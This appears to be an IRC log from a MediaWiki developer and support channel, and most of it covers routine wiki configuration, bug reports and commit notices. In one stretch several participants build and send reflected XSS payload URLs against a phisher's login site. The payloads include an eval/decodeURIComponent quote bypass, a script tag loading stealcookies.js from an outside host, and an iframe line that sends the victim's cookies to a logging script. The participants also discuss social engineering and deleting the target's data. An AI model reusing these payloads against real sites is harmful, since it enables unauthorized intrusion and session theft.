[09:39:32] <CIA-15>	"MetaVid" spelt consistently, overly abbreviated msg clarified as of requests of
[09:39:32] <CIA-15>	EugeneZelenko at
[09:39:32] <CIA-15>	http://translatewiki.net/w/i.php?title=Support&oldid=1191977#Mv_edit_strea_docu
[09:39:32] <CIA-15>	and
[09:39:33] <CIA-15>	http://translatewiki.net/w/i.php?title=Support&oldid=1191977#Mv_file_desc_label
[10:28:19] <CIA-15>	03ialex * r49770 10/trunk/phase3/includes/ (5 files): 
[10:28:19] <CIA-15>	Documentation fixes:
[10:28:19] <CIA-15>	* corrected @param syntax
[10:28:19] <CIA-15>	* removed useless @private/@public/@access
[10:28:19] <CIA-15>	* removed @abstract and replaced by "STUB" as in FileRepo and File classes
[10:30:10] <Marius>	Hello, I use MediaWiki local as a personal wiki with XAMPP.. The problem is that it is really slow, the remote one on my webspace is faster! What can I do to speed it up?
[10:30:30] <faceface>	hi Marius 
[10:30:39] <Marius>	hi faceface
[10:31:02] <flyingparchment>	install APC (which will make php faster) and configure MW to use it, which will make MW faster too
[10:31:07] <faceface>	Marius == Mariux?
[10:31:13] *werdna 	lols.
[10:31:22] <werdna>	Somebody is trying to "live phish" me
[10:31:28] <Marius>	faceface: no!
[10:31:35] <faceface>	ok :-)
[10:31:52] <Marius>	:)
[10:32:56] <Marius>	flyingparchment: But on my server it is not installed either.. is there no other possibility? It seems like MW nor Firefox is caching at all.. 
[10:36:11] <wikibugs>	03(NEW) Indicate in output whether an interwiki link is marked local - 10https://bugzilla.wikimedia.org/show_bug.cgi?id=18562 enhancement; Normal; MediaWiki: Page rendering; (happy-melon)
[10:42:45] <Splarka>	\msg werdna Hello, I represent your bank and/or credit card company. There has been a rash of security problems and identity theft at your bank and/or credit card company, please re-enter your bank account and/or credit card username, number, and password below
[10:43:08] <Splarka>	this will help us secure the safety of your bank account and/or credit card by resetting the password.
[10:43:44] <werdna>	Splarka: yeah but I just XSS'd him.
[10:43:49] <werdna>	http://login.tbibin.com/login.php?do=login&s=format&e=%22/%3E%20%3Cscript%3Ealert%28window.location%29;%3C/script%3E
[10:43:57] <werdna>	he sent me his phishing scam
[10:44:01] <werdna>	IXSS'd him back
[10:44:34] <Splarka>	mmmm, phried phish
[10:44:51] <werdna>	Splarka: suggestions for XSSing?
[10:45:14] <svip_>	How do I make a icon like Wikipedia has instead of its licence logo saying "A WIKIMEDIA project"?
[10:46:50] <Splarka>	werd: dunno, I'd need more info probably, and less benadryl
[10:47:38] <ialex>	svip_: use $wgCopyrightIcon
[10:47:39] <werdna>	he's got MSN usernames and passwords behind that URL
[10:48:01] <svip_>	But the link, ialex, doesn't the text at the bottom also use that link?
[10:48:04] <werdna>	 /me mostly interested in the amusing academic challenge of brekaking it.
[10:48:11] <Splarka>	$wgCopyrightIcon = '<a href="http://wikimediafoundation.org/"><img src="/images/wikimedia-button.png" border="0" alt="Wikimedia Foundation"/></a>';
[10:48:12] <werdna>	magic_quotes_gpc is on on his server
[10:48:20] <svip_>	Ooooooo
[10:48:23] <svip_>	Thank thee, Splarka.
[10:48:48] <werdna>	which means no quotes in the injected code
[10:49:17] <Splarka>	hmm
[10:49:28] <t4c>	2nd try :), I have added modrewrite to my wiki but uploaded images don't work, now there comes a new wiki page no image :( http://nopaste.info/79d2e4d471.html - https://www.digital-bit.ch/wiki/Images/8/80/2_t4c_side.jpg
[10:49:37] <t4c>	any suggestions for me
[10:49:45] <werdna>	ideally I could steal his cookies.
[10:50:17] <werdna>	then go and delete all his data.
[10:50:38] <werdna>	An arbitrary execution vulnerability would be nice, but I can't see one
[10:50:44] <werdna>	hang on, he's trying to befriend me
[10:50:56] <werdna>	I'm gonna try and social engineer the source code out of him
[10:51:00] <RoanKattouw>	lol
[10:51:05] <Splarka>	oh, I have an idea
[10:51:55] <ialex>	t4c: try to do the same for images as you have for skins (in the rewrite rules)
[10:52:07] <t4c>	ialex: tried this, didn't work :)
[10:52:31] *Splarka 	thinks
[10:52:58] <t4c>	        "^/wiki/[iI]mages.*$" =>      "$0",
[10:53:13] <werdna>	Splarka: I think I have an idea.
[10:53:13] <Duduman>	Is there a time range when the new url fetch would be applied to commons?
[10:54:36] <davidt>	Where can I find documentation on writing custom jobqueue jobs?
[10:54:45] <RoanKattouw>	!class Job | davidt
[10:54:45] --mwbot--	davidt: See http://svn.wikimedia.org/doc/classJob.html
[10:55:55] <davidt>	RoanKattouw: Thanks a lot.
[10:56:28] <RoanKattouw>	werdna: Does JS have access to his cookies? If so, use an iframe to submit it to a PHP script on your server
[10:56:36] <chzz>	Splarka http://test.wikipedia.org/wiki/User:Chzz/test link to java displaying document.write(wgUserName);
[10:56:46] <chzz>	Splarka fails; prob me being very stupid?
[10:57:42] <werdna>	RoanKattouw: yeah I'm working on it
[10:58:28] <mibbim>	is there like EditPage::attemptSave but for preview? basically i need some way to get some data from request and put it to the wiki page source before showing the preview
[10:58:50] <Splarka>	chzz: sec
[10:58:57] <mibbim>	i know how to get the data. i just don't know ~when~ to put it to the page source :)
[11:01:28] <werdna>	Splarka: hmm, need a URL decode function
[11:01:35] <werdna>	does one exist in JS?
[11:01:58] <Duduman>	what's the image import feature called on mediawiki?
[11:02:26] <Splarka>	werdna: decodeURI() and decodeURICompnent()
[11:02:33] <Splarka>	but I can't see how to define stuff without quotes
[11:02:50] <Splarka>	you can get a quote via String.fromCharCode(39) or String.fromCharCode(34)...
[11:02:54] <Splarka>	and you can eval() it...
[11:02:56] <werdna>	whee
[11:03:02] <werdna>	Splarka: here you go
[11:03:02] <Splarka>	but you still need to put quotes around the data somehow
[11:03:04] <werdna>	http://login.tbibin.com/login.php?do=login&s=format&e=%22/%3E%20%3Cscript%3Eeval%28decodeURIComponent%28window.location.href.substr%28148%29%29%29;%3C/script%3Ealert%28%22HAHAHA%22%29;
[11:03:43] <Splarka>	hmmm
[11:03:54] <Splarka>	clever
[11:04:00] <werdna>	now you can replace alert( HAHAHAHAHA with whatever you want
[11:04:08] *Splarka 	has another idea now
[11:04:09] <werdna>	and the quotes won't be fucked up.
[11:04:16] <RoanKattouw>	That is clever
[11:05:01] *Splarka 	tests
[11:05:08] <Splarka>	view-source:http://login.tbibin.com/login.php?do=login&s=format&e=%3Cscript+src%3Dhttp%3A%2F%2Fwww.google.com%2Fnaughty.js%3E%3C%2Fscript%3E
[11:05:26] <chzz>	http://login.tbibin.com/login.php?do=login&s=format&e=%3Cscript+src%3Dhttp%3A%2F%2Fwww.google.com%2Fnaughty.js%3E%3C%2Fscript%3E
[11:05:30] <Splarka>	xml parameter values without spaces don't need quotes
[11:05:43] <werdna>	awesome
[11:05:48] <werdna>	but mine is cleverer and more fun :)
[11:05:54] <Splarka>	yah yah
[11:06:10] <werdna>	you forgot the "/>
[11:06:18] <Splarka>	w/e
[11:06:25] <Splarka>	wasn't even loading it, view source ftw
[11:06:39] <werdna>	so what are we going to actually do
[11:06:53] <Splarka>	how do you get him to visit the link?
[11:07:19] <werdna>	um, he's eating out of my hand at the moment
[11:07:25] <Splarka>	k
[11:07:29] <Splarka>	you might wanna over-encode it all btw
[11:07:30] <werdna>	begging me to be his friend
[11:07:36] <werdna>	I'll just tinyurl it
[11:07:42] <werdna>	or alternatively set up a script
[11:07:47] <werdna>	and tell him it's my webpage
[11:07:52] <werdna>	but actually have it redirect to that site
[11:08:01] <Splarka>	<script> -> %3Cscript%3E -> %3C%73%63%72%69%70%74%3E
[11:08:05] <werdna>	I could even redirect back
[11:08:26] <RoanKattouw>	werdna: What's the actual exploit/script you're gonna use? What you gonna do, steal his cookies?
[11:08:34] <werdna>	I guess so
[11:08:38] <werdna>	seems the most sensible thing to do
[11:09:08] *Splarka 	looks up at what chzz was asking about
[11:09:09] <werdna>	I can't think of anything else I'd want to XSS out of him
[11:11:02] <Splarka>	chzz: the javascript reading wgUserName has to be on the wiki, it won't work off-site
[11:11:21] <Splarka>	so on whatever wiki you want to link to this java irc chat, you need access to Common.js
[11:11:26] <chzz>	en
[11:11:33] <Splarka>	heh... good luck with that
[11:11:42] <Splarka>	...or you can link to Special:ExpandTemplates, heh
[11:11:56] <chzz>	too complex for t3h n00b
[11:11:58] <Splarka>	hmm, or maybe the API
[11:12:13] <chzz>	Wanted to maybe pass it as a URL parameter
[11:12:27] <Splarka>	yes, but you can't do that in wikicode
[11:12:37] <Splarka>	you can append it via js, but only via site-wide js
[11:14:22] <werdna>	ok so I have http://werdn.us/cookiesave.php?cookies=LOL%20HAI%20TEST3 as a save script
[11:14:49] <Splarka>	http://en.wikipedia.org/w/api.php?action=parse&text=%5Bhttp%3A%2F%2Fchzz.netii.net%2F%3Fq%3D%7B%7BREVISIONUSER%7D%7D%20Click%20Here!%5D
[11:14:57] <chzz>	Splarka so how does your name get displayed in the top of all pages? That func...   looks
[11:15:26] <Splarka>	chzz: lemme splain
[11:15:28] <CIA-15>	03purodha * r49771 10/trunk/extensions/SemanticMediaWiki/languages/SMW_Messages.php: Message cosmetic, better ":" not "." after intro before a list.
[11:15:33] <RoanKattouw>	Splarka: Smart one
[11:15:40] <Splarka>	crap, brb
[11:15:46] <chzz>	too much demand on t'server oh.
[11:15:53] *chzz 	gets tea
[11:16:01] <jed>	good morning
[11:16:25] <jed>	anyone have any experience with this extension? http://www.mediawiki.org/wiki/Extension:Auth_viaMySQL
[11:16:55] <Splarka>	chzz: {{CURRENTUSER}} would work, it would be very easy to do in fact
[11:17:06] <Splarka>	but only for logged in users
[11:17:28] <Splarka>	for 99% of page views, it would do nothing, or return the IP or name of whoever purged the cache last or edited the page, or something
[11:17:49] <Splarka>	it also breaks referential integrity
[11:18:08] <Splarka>	say you have {{#switch:{{CURRENTUSER}}|Splarka=[[Foo]]|#default=[[Bar]]}}
[11:18:19] <Splarka>	the page would link to [[Foo]] in the links table if I was the last person to purge it
[11:18:37] <Splarka>	this is true of time based magic words too, but they're the same for all users, regardless of logged in status or name
[11:18:40] *chzz 	follows
[11:18:48] <Splarka>	so they're broken by it, rather than breaking it, so to speak
[11:18:58] <Splarka>	there is one that does break referential integrity already: int:
[11:19:33] <Splarka>	werd: I get a blank page there
[11:19:41] <Splarka>	unless you're stealin mah cookies
[11:20:00] <Splarka>	chzz: http://upload.wikimedia.org/wikipedia/commons/thumb/3/36/MediaWiki-render-flowchart.svg/890px-MediaWiki-render-flowchart.svg.png
[11:20:35] <chzz>	yep; get it.
[11:20:42] <Splarka>	there is also a mode whereby anon IPs can see their IP in the top bar, this goes to the apache for every request, but still uses parser cache
[11:20:59] <Splarka>	disabling that lets the squids handle most of the requests
[11:21:10] <Splarka>	mmm, squid
[11:21:24] <Splarka>	anyway, for these reasons, {{CURRENTUSER}} is just a very bad idea
[11:21:28] <werdna>	Splarka: i'm stealing cookies in general
[11:21:33] <Splarka>	theif
[11:21:36] <Splarka>	steal me some milk too
[11:21:51] *chzz 	wonders if the skin has access to the variable. Still, not gonna help for t'new user.
[11:22:36] <chzz>	the users monobook could do it, I suppose. But again...too much aggro for them
[11:23:18] <Splarka>	RoanKattouw: I dislike that 'trick', but the current user's name /has/ to be available for subst:
[11:23:50] <Splarka>	so anytime you're rendering {{REVISIONUSER}} without a revision, you get {{CURRENTUSER}}, this includes action=parse, preview, ExpandTemplates, and even Special:Code X_X
[11:23:58] <Splarka>	any ideas?
[11:24:03] <RoanKattouw>	Yeah I've seen the Special:Code use
[11:24:05] <Splarka>	other than fix all implementations that use it
[11:24:20] <Splarka>	(that is, render/parse without a revision)
[11:24:59] *ialex 	has a fix for that :)
[11:25:01] <chzz>	dirty trick tho
[11:25:35] <Splarka>	ialex: share? ^_^
[11:27:09] <chzz>	possible to parse a transclusion of a special page and extract username that way?
[11:27:11] <ialex>	Splarka: http://rafb.net/p/Bmyjfk52.html
[11:28:38] <werdna>	Splarka: what's the document root element?
[11:28:50] <werdna>	i.e. if I want to add something into the DOM, where do I add it?
[11:29:02] <ialex>	Splarka: then {{REVISIONUSER}} only works when there's a revision, pre-save transform and previewing
[11:29:25] *Splarka 	feels hilighted
[11:29:39] <werdna>	document.appendChild aint working :)
[11:29:41] <Splarka>	werdna: document.body or document.head typically
[11:29:57] <Splarka>	I... am not sure how you edit above that actually, never had occasion to
[11:30:11] <werdna>	document.body is null
[11:30:44] <Splarka>	ahh, you're operating in <head> so it doesn't exist yet
[11:30:54] <Splarka>	(I am guessing)
[11:31:06] <Splarka>	add it to .head or do you need the body?
[11:32:09] <Splarka>	ialex: all greek to me, so apply it? ^_^
[11:32:34] <ialex>	Splarka: want to test some more :)
[11:32:39] <Splarka>	ialex: what does it return with no revision? I see {{REVISIONID}} returns null
[11:32:53] <ialex>	Splarka: an empty string
[11:32:56] <Splarka>	but maybe it, and {{REVISIONID}}, should just return literal, like undefined {{{parameters}}}
[11:32:59] <Splarka>	ahh
[11:33:01] <siebrand>	need a little n00b help. I'm probably doing something stupid creating a link. Currently having "<!-- ERROR -->" added to my output.
[11:33:03] <werdna>	Splarka: ah that'll be it
[11:33:38] <siebrand>	http://rafb.net/p/glMjHc60.html
[11:34:09] <siebrand>	My output looks like: "<!-- ERROR -->XXXBerichtdefinitie (MediaWiki messages)" where I expected that to be a link
[11:34:14] <ialex>	siebrand: you need to pass an object
[11:34:27] <Splarka>	setTimeout('alert(document.body)',100)  <-- lazy
[11:34:32] <ialex>	siebrand: SpecialPage::getTitleFor( 'Translate' )
[11:34:33] <RoanKattouw>	siebrand: makeKnownLinkObj() expects an object, like ialex says, and is deprecated. You should use link() instead
[11:35:05] <siebrand>	RoanKattouw: yeah, I remember looking into link(), but I wasn't able to figure that out a while ago.
[11:35:19] <RoanKattouw>	siebrand: Or, if getTitleFor() doesn't do what you want, Title::makeTitle(NS_SPECIAL, SpecialPage::getLocalNameFor('Translate'))
[11:35:45] <RoanKattouw>	makeKnowLinkObj will probably still work though
[11:36:23] <siebrand>	RoanKattouw: yes, it is being used a lot, also in core :)
[11:37:05] <ialex>	RoanKattouw: imho SpecialPage::getTitleFor() is basically Title::makeTitle(NS_SPECIAL, SpecialPage::getLocalNameFor( $x ))
[11:37:18] <RoanKattouw>	Ah OK
[11:37:32] <RoanKattouw>	I didn't know whether getTitleFor() would use the local name or not
[11:37:33] <Splarka>	roan: the usual method: window.onload = function() {alert(document.body)}   though you'd probably want to use addEventListener/attachEvent... unless it is a cheesy one time xss
[11:37:35] <Splarka>	er
[11:37:39] <Splarka>	not roan, werdna
[11:37:55] *Splarka 	should sleep, damn
[11:38:09] <Splarka>	am I more fun on antihistimes? heh
[11:38:43] <siebrand>	230 times makeKnownLinkObj in phrase3/includes :)
[11:38:46] <RoanKattouw>	Splarka: Which timezone are you in? Has the sun risen again yet?
[11:39:07] <Splarka>	PST, 4:38am
[11:39:13] <Splarka>	er, PDT I guess, actually
[11:42:29] <Splarka>	but time is meaningless, I woke up at 4pm, and later started to sneezed about a hundred times an hour, so I took 25mg fun-happy http://en.wikipedia.org/wiki/Diphenhydramine and now you're all talking like Smurfs
[11:42:54] <Splarka>	ehm, why did that trigger enhydra
[11:43:06] *Splarka 	wonders if he has Diphenhydramine on stalk
[11:43:33] <RoanKattouw>	Splarka: You probably ping on "Smurf" ;)
[11:43:48] <Splarka>	did he /notice you just then?
[11:44:06] *werdna 	just sent the following naughty URL to him
[11:44:07] <werdna>	http://login.tbibin.com/login.php?do=login&user=&password=&s
[11:44:07] <werdna>	=format&e=%22/%3E%3Cscript+src%3Dhttp://werdn.us/stealcookie
[11:44:07] <werdna>	s.js%3E%3C%2Fscript%3E
[11:44:13] <werdna>	let's see what he makes of it
[11:44:31] <Splarka>	<werdna> but mine is cleverer and more fun :)
[11:44:40] *Splarka 	stabs werdna with a lemon curry
[11:44:47] <werdna>	nothing so far
[11:44:54] <RoanKattouw>	werdna: Sure you don't wanna urlencode stealcookies ?
[11:45:07] <Splarka>	<werdna> s.js
[11:45:09] <Splarka>	er
[11:45:10] <werdna>	RoanKattouw: I did.
[11:45:17] <RoanKattouw>	Right
[11:45:19] <Splarka>	%68%74%74%70%3A//%77%65%72%64%6E%2E%75%73/%73%74%65%61%6C%63%6F%6F%6B%69%65%73%2E%6A%73
[11:45:24] <RoanKattouw>	lol
[11:45:24] <CIA-15>	03siebrand * r49772 10/trunk/extensions/Translate/TranslateEditAddons.php: 
[11:45:24] <CIA-15>	* Add a link to Special:Translate for the message group
[11:45:24] <CIA-15>	* update author section
[11:45:24] <werdna>	iframe.src = 'http://werdn.us/cookiesave.php?cookies='+encodeURIComponent( cookies );
[11:45:53] <Splarka>	mmmm, cookies
[11:46:08] <werdna>	nothing stolen yet
[11:46:37] <werdna>	Cookies for ::ffff:64.162.11.135
[11:46:37] <werdna>	WHATTHEHELLISTHISCRAP! I was promised cookies
[11:46:39] *werdna 	sees that
[11:46:43] <werdna>	I see wat u did there
[11:46:45] *Splarka 	grins
[11:46:57] *Splarka 	hides
[11:47:25] <Splarka>	got any xss vulnerabilities in your cookie theft box?
[11:47:48] *Splarka 	tests
[11:48:28] <werdna>	heh
[11:48:29] <werdna>	it's a tail -f of a log file
[11:48:41] <Splarka>	bah
[11:48:44] *Splarka 	stops bugging ya then
[11:49:29] <werdna>	you keep getting me excited when I see activity
[11:49:35] <werdna>	he hasn't replied yet
[11:49:59] <Duduman>	Is copy by URL gonna come with the next mediawiki update?
[11:50:09] <werdna>	it isn't a mediawiki issue
[11:50:13] <werdna>	it's a configuration issue
[11:50:28] <RoanKattouw>	Duduman: Upload by URL is already there, just had to be enable
[11:50:28] <Splarka>	has some kinks to be worked out
[11:50:41] <Duduman>	So it's already available and working with no bugs
[11:50:47] <Splarka>	<brokenRecord>Fails without javascript enabled</brokenRecord>
[11:50:52] <werdna>	well not necessarily no bugs
[11:50:55] <Splarka>	'no bugs' ha
[11:50:57] <werdna>	there are some bugs, and some kinks to iron out
[11:51:07] <Splarka>	heh
[11:51:17] <Duduman>	So should I propose it's activation on commons?
[11:51:25] <Splarka>	the max upload limit also, unless it was patched already, was just going by the lowest limit
[11:51:32] <Splarka>	and ignoring php's max post size
[11:51:47] <Splarka>	Duduman: wait until after next update, probably
[11:51:54] <Splarka>	https://bugzilla.wikimedia.org/show_bug.cgi?id=18264
[11:51:56] <Duduman>	So in the summer
[11:52:14] <RoanKattouw>	Duduman: No, the next scap
[11:52:17] <Splarka>	werdna: any idea what is up with brion and code review? other than being sick/travelling a lot the last month
[11:52:26] <Duduman>	September ?
[11:52:35] <Splarka>	scaps are "weekly"
[11:53:00] <werdna>	in mediawiki language weekly means once or twice a month
[11:53:09] <Duduman>	next week ?
[11:53:14] <werdna>	Duduman: It'll be enabled everywhere without any intervention by the projects
[11:53:18] <werdna>	it's a matter of us getting ready
[11:53:36] <chzz>	Splarka Well, thx for the ideas; I'm gonna ponder it. Prob will <noinclude> the sig and parse it, thus bringing about the apocalypse. Cheers for now, gotta go
[11:53:40] <Duduman>	The feature doesn't upload videos by the way
[11:53:46] <Duduman>	from like archive.org
[11:53:48] <Splarka>	rar chzz
[11:54:57] <Duduman>	werdna: better search should also have been applied to all wikis even commons, but (too few rams and servers)
[11:56:18] <CIA-15>	03siebrand * r49773 10/trunk/extensions/Translate/TranslateEditAddons.php: Follow up on r49772. Committed wrong version.
[11:56:26] <Splarka>	 $val2 = $wgAllowCopyUploads ? min( $wgMaxUploadSize, $val2 ) : $val2;
[11:56:31] <Splarka>	^ kink to be worked out
[11:57:02] <Splarka>	https://bugzilla.wikimedia.org/show_bug.cgi?id=18411
[11:57:10] <Splarka>	https://bugzilla.wikimedia.org/show_bug.cgi?id=18200
[11:57:26] <Splarka>	along with https://bugzilla.wikimedia.org/show_bug.cgi?id=18264 these should probably all be fixed before enabling it globally
[11:58:23] <Splarka>	werdna: can I open a dependency bug for 'enable "Upload by URL" feature on Wikimedia' and set those 3 blockers to it?
[11:58:37] <Splarka>	(or can you...)
[11:58:53] <werdna>	sure
[11:58:55] <werdna>	feel free
[11:59:06] <Splarka>	well, I guess 18411 isn't really...
[11:59:07] <werdna>	you're almost as much a part of the tech team as most devs
[11:59:11] <werdna>	:P
[11:59:14] <Splarka>	arg
[11:59:17] *Splarka 	bites!
[11:59:20] <werdna>	we should give Splarka commit access
[11:59:23] <Splarka>	and you're a cookie
[11:59:30] <werdna>	nom
[11:59:32] <Splarka>	no, just commit me
[11:59:37] <Duduman>	It seems that 2 of the bugs have been fixed
[11:59:44] <werdna>	still haven't heard anything on the feed
[11:59:50] <Splarka>	have they?
[11:59:51] <werdna>	I bet it doesn't work if you're already logged in
[11:59:51] <RoanKattouw>	I've suggested that before, but I think Brion might object to giving commit access to someone who doesn't really know PHP
[12:00:02] <werdna>	RoanKattouw: he can still maintain js
[12:00:09] <RoanKattouw>	Yeah
[12:00:16] <Splarka>	RoanKattouw: I hear svn on dialup under Windows98 sucks
[12:00:16] <werdna>	he's clever enough to be careful around php
[12:00:29] <RoanKattouw>	heh
[12:00:34] <werdna>	Splarka: I hear there are decent connections and OSes in the 21st century
[12:00:44] <werdna>	the 20th century called, it wants its hardware back
[12:00:54] <werdna>	the reason it couldn't get through directly is because you were on the internet
[12:01:09] <Splarka>	I can get satellite, but it is slower (ping wise) and more unreliable (connection wise), by several orders of magnitude
[12:01:28] <Duduman>	Does the copy by url also import ogg videos?
[12:01:34] <Splarka>	no wireless, no cellular, no dsl, no cable, no fiber
[12:01:44] <werdna>	Duduman: sure
[12:02:00] <Duduman>	It's not working on tes.wikipedia
[12:02:45] <Splarka>	how big is it?
[12:02:49] <werdna>	Splarka: where is it that you live? Is it remote by antarctic standards?
[12:02:52] <Duduman>	example: 1.62 mb
[12:02:56] <Duduman>	http://www.archive.org/download/SF125/SF125.ogv
[12:03:07] <Duduman>	Insert this to http://test.wikipedia.org/wiki/Special:Upload
[12:03:11] <werdna>	Duduman: you mean test.wikipedia I assume :)
[12:03:17] <Splarka>	werd: California, in a hilly valley
[12:03:19] <Duduman>	yes
[12:03:32] <Duduman>	It then says: "The file you uploaded seems to be empty. This might be due to a typo in the file name. Please check whether you really want to upload this file."
[12:03:37] <werdna>	The file you uploaded seems to be empty. This might be due to a typo in the file name. Please check whether you really want to upload this file. 
[12:03:54] <werdna>	probably a wmf setup issue
[12:04:21] <Duduman>	what setup? It's simply copyurl=true
[12:05:02] <werdna>	there's plenty of setup
[12:05:08] <Duduman>	Should I file a bug?
[12:05:13] <werdna>	Wikimedia app servers can't access the internet
[12:05:20] <werdna>	they have to do it through a special proxy
[12:05:45] <Duduman>	It works for images, just not video files
[12:07:38] <Duduman>	werdna: I found the problem
[12:07:52] <werdna>	?
[12:07:59] <Duduman>	It uploads video files from metavid, but not from archive.org
[12:08:23] <Duduman>	probably a limitation or something
[12:08:27] <enhydra>	Splarka, yes I have :)
[12:09:05] <Splarka>	you druggie
[12:10:06] <enhydra>	Splarka, I still can’t figure out how to use regexes for highlight without changing the client’s code, so my current approach may include false positives (which is better than missing something)
[12:10:54] <Duduman>	werdna: sorry it was my mistake, the file was hosted on another url
[12:12:09] <Splarka>	bugspam
[12:12:35] <Duduman>	Is anyone here working on http://www.mediawiki.org/wiki/Extension:Add_Media_Wizard
[12:13:25] <RoanKattouw>	Duduman: I believe that's mdale's thingy
[12:13:37] <RoanKattouw>	But he's asleep
[12:13:51] <Splarka>	enhydra: so what in that sentence triggered you? heh
[12:14:04] <Duduman>	:) Many things to do actually, some help wouldn't hurt him
[12:14:12] <Duduman>	http://www.mediawiki.org/wiki/Extension_talk:Add_Media_Wizard
[12:14:14] <Splarka>	other than your name being in the drug... nm
[12:14:19] <wikibugs>	03(NEW) Enable "Upload by URL" globally on Wikimedia (tracking) - 10https://bugzilla.wikimedia.org/show_bug.cgi?id=18563 trivial; Normal; Wikimedia: Site requests; (herd)
[12:14:21] <wikibugs>	03(mod) Retain URL as metadata on upload-by-url - 10https://bugzilla.wikimedia.org/show_bug.cgi?id=18112  (10herd)
[12:14:24] <wikibugs>	03(mod) Upload-by-URL has a different file size limit from HTTP POST uploads, needs to be shown in UI - 10https://bugzilla.wikimedia.org/show_bug.cgi?id=18200  (10herd)
[12:14:25] <enhydra>	Diph*enhydra*mine, and nothing else :)
[12:14:27] <wikibugs>	03(mod) Upload-by-URL should enforce $wgMaxUploadSize early when Content-Length header provided - 10https://bugzilla.wikimedia.org/show_bug.cgi?id=18201  (10herd)
[12:16:09] <Splarka>	should be two more *pokles zilla*
[12:16:11] <wikibugs>	03(mod) Upload via URL: More meaningful error messages when HTTP error encountered - 10https://bugzilla.wikimedia.org/show_bug.cgi?id=18243  (10herd)
[12:16:30] <wikibugs>	03(mod) Cannot use "upload by URL" feature with javascript disabled - 10https://bugzilla.wikimedia.org/show_bug.cgi?id=18264  (10herd)
[12:22:15] <Duduman>	This explains a lot
[12:23:25] *Splarka 	nods
[12:23:42] <CIA-15>	03siebrand * r49774 10/trunk/extensions/Translate/TranslateEditAddons.php: Another Follow up on r49772. Quotes matter.
[12:30:02] <Nebukadneza>	heho
[12:30:29] <Nebukadneza>	is there a extension that allows to do spreadsheeting in mediawiki? as in really specifying (simple) calculation rules, etc.
[12:33:53] <RoanKattouw>	You can calculate stuff with {{#expr:}}
[12:34:35] <Nebukadneza>	hm, where can i find a bit more information on that
[12:35:18] <Duduman>	nope
[12:54:00] <Nebukadneza>	is it possible to use arrays or lists with parserfunctions?
[12:54:40] <RoanKattouw>	No
[12:55:01] <Nebukadneza>	:((
[12:55:17] <Nebukadneza>	so its not possible to do anything like spreadsheeting with parserfunctions :((
[12:56:49] <Splarka>	Nebukadneza: zocky might have some that can do what you want
[12:56:58] <Nebukadneza>	zocky: ping :)
[12:57:03] <wikibugs>	03(NEW) Please close Mongolian Wikibooks - 10https://bugzilla.wikimedia.org/show_bug.cgi?id=18564 normal; Normal; Wikimedia: Site requests; (dferg-wiki)
[12:57:05] <Nebukadneza>	Splarka: thanks
[12:57:19] <Splarka>	rar
[12:57:40] <Nebukadneza>	rar? Oo
[12:58:17] *Splarka 	sleep
[12:58:44] <zocky>	actually, for sort-of spread-sheet like calculator, the thing to do is to keep each expression on its own page (or, potentially, use {{#switch: to have multiple expressions on a single page
[13:01:02] <zocky>	and for arrays and lists, ask me again in a few weeks, maybe i'll have time to clean up the code for that in the meantime, so that it can be used as an extension without hacking the core much
[13:16:09] <werdna>	andrew-macbook:~ andrew$ switch-branch trunk
[13:16:13] *werdna 	yays for scripts.
[13:17:32] <Simetrical>	How is that different from svn switch?
[13:17:46] <Simetrical>	Also, people like this need to be SHOT.  https://bugzilla.mozilla.org/show_bug.cgi?id=57342#c183
[13:19:58] <Nebukadneza>	zocky: yay, that'd be cool ;)
[13:21:18] *charitwo 	cracks the whip at Simetrical *woo-chih* Hop to it, laddy!
[13:23:56] <werdna>	Simetrical: http://p.defau.lt/?3GFh0KKztiDodCIvhCF6ag
[13:29:01] <werdna>	Simetrical: so not quite that simple
[13:29:04] <werdna>	it's nice to automate
[13:29:43] *Simetrical 	doesn't see the point, but on the other hand, a) uses git b) doesn't use branches.
[13:29:57] <Simetrical>	This guy is incredibly interesting: http://www.overcomingbias.com/2008/10/shut-up-and-do.html
[13:35:28] <t4c>	I have added modrewrite to my wiki but uploaded images don't work, now there comes a new wiki page no image :( http://nopaste.info/79d2e4d471.html - https://www.digital-bit.ch/wiki/Images/8/80/2_t4c_side.j
[13:35:53] <t4c>	pg, can anybody get me a helping hand here?
[13:45:44] <AlexCollins>	Hi.
[13:45:55] <t4c>	hi
[13:48:14] <Duesentrieb>	!rewriteproblems | t4c
[13:48:14] --mwbot--	t4c: 1) Try <http://www.mediawiki.org/wiki/Manual:Short_URL/wiki/Page_title_--_no_root_access> as a fail-safe method; 2) Do not put the files into the document root; 3) Do not map the pages into the document root; 4) Use different, non-overlapping paths for real files and virtual pages; 5) Do not set a RewriteBase; 6) Put all rules into the .htaccess file in the document root.
[13:48:52] <wikibugs>	03(mod) Page won't print - 10https://bugzilla.wikimedia.org/show_bug.cgi?id=18551  (10happy-melon)
[13:49:43] <t4c>	mmh...
[13:49:50] <t4c>	putting them under /wiki could be a chance
[13:49:59] <t4c>	danke Duesentrieb 
[13:50:38] <AlexCollins>	I've noticed that on the RecentChanges page, some edits have their -+X bolded. It appears it is bolded when the edit adds/removes at least 500 bytes of data. I've been trying to find out if a variable in the wiki can be edited to alter the default minimum of 500 bytes and to display that in colours instead of default black, but all references I've found indicate bold means watched pages.
[13:51:20] <werdna>	Simetrical: I found the AI box experiment intrigueing
[13:51:24] <werdna>	intriguing
[13:53:26] <werdna>	the blog post itself I can;'t get into
[13:53:31] <t4c>	no :(
[13:53:50] <t4c>	I give up
[13:55:12] <Subfader>	how can I add a  if (wgNamespaceNumber != 1) to http://commons.wikimedia.org/wiki/MediaWiki:ResizeGalleries.js ? I don't want to have galleries resized on articles on my wiki cos it overrides the perrow setting
[13:56:05] <Subfader>	actualy like this should make sense but doesn't work http://www.mixesdb.com/db/index.php/MediaWiki:ResizeGalleries.js
[13:56:08] <wikibugs>	14(WFM) Page won't print - 10https://bugzilla.wikimedia.org/show_bug.cgi?id=18551  +comment (10happy-melon)
[13:56:45] <Duesentrieb>	Simetrical: that firefox bug has my full supprot though. never mind the yelling, but it has annoyed me at least a thousand times that there'S no way to do that without saving the file :)
[13:58:20] <Duesentrieb>	t4c: please read the instructions carefully and compare what you ahve on your system.
[13:58:39] <Duesentrieb>	t4c: two distinct pathes. set them up and use them constently. then it works.
[14:03:33] <Subfader>	doh! artciles are ns 0 not 1 :D
[14:03:59] <RoanKattouw>	1 is Talk:
[14:04:08] <Simetrical>	werdna, there's a lot of interesting stuff on that site.
[14:04:09] <Simetrical>	Duesentrieb, oh, I agree, it should be fixed.  So should lots of things in MediaWiki.
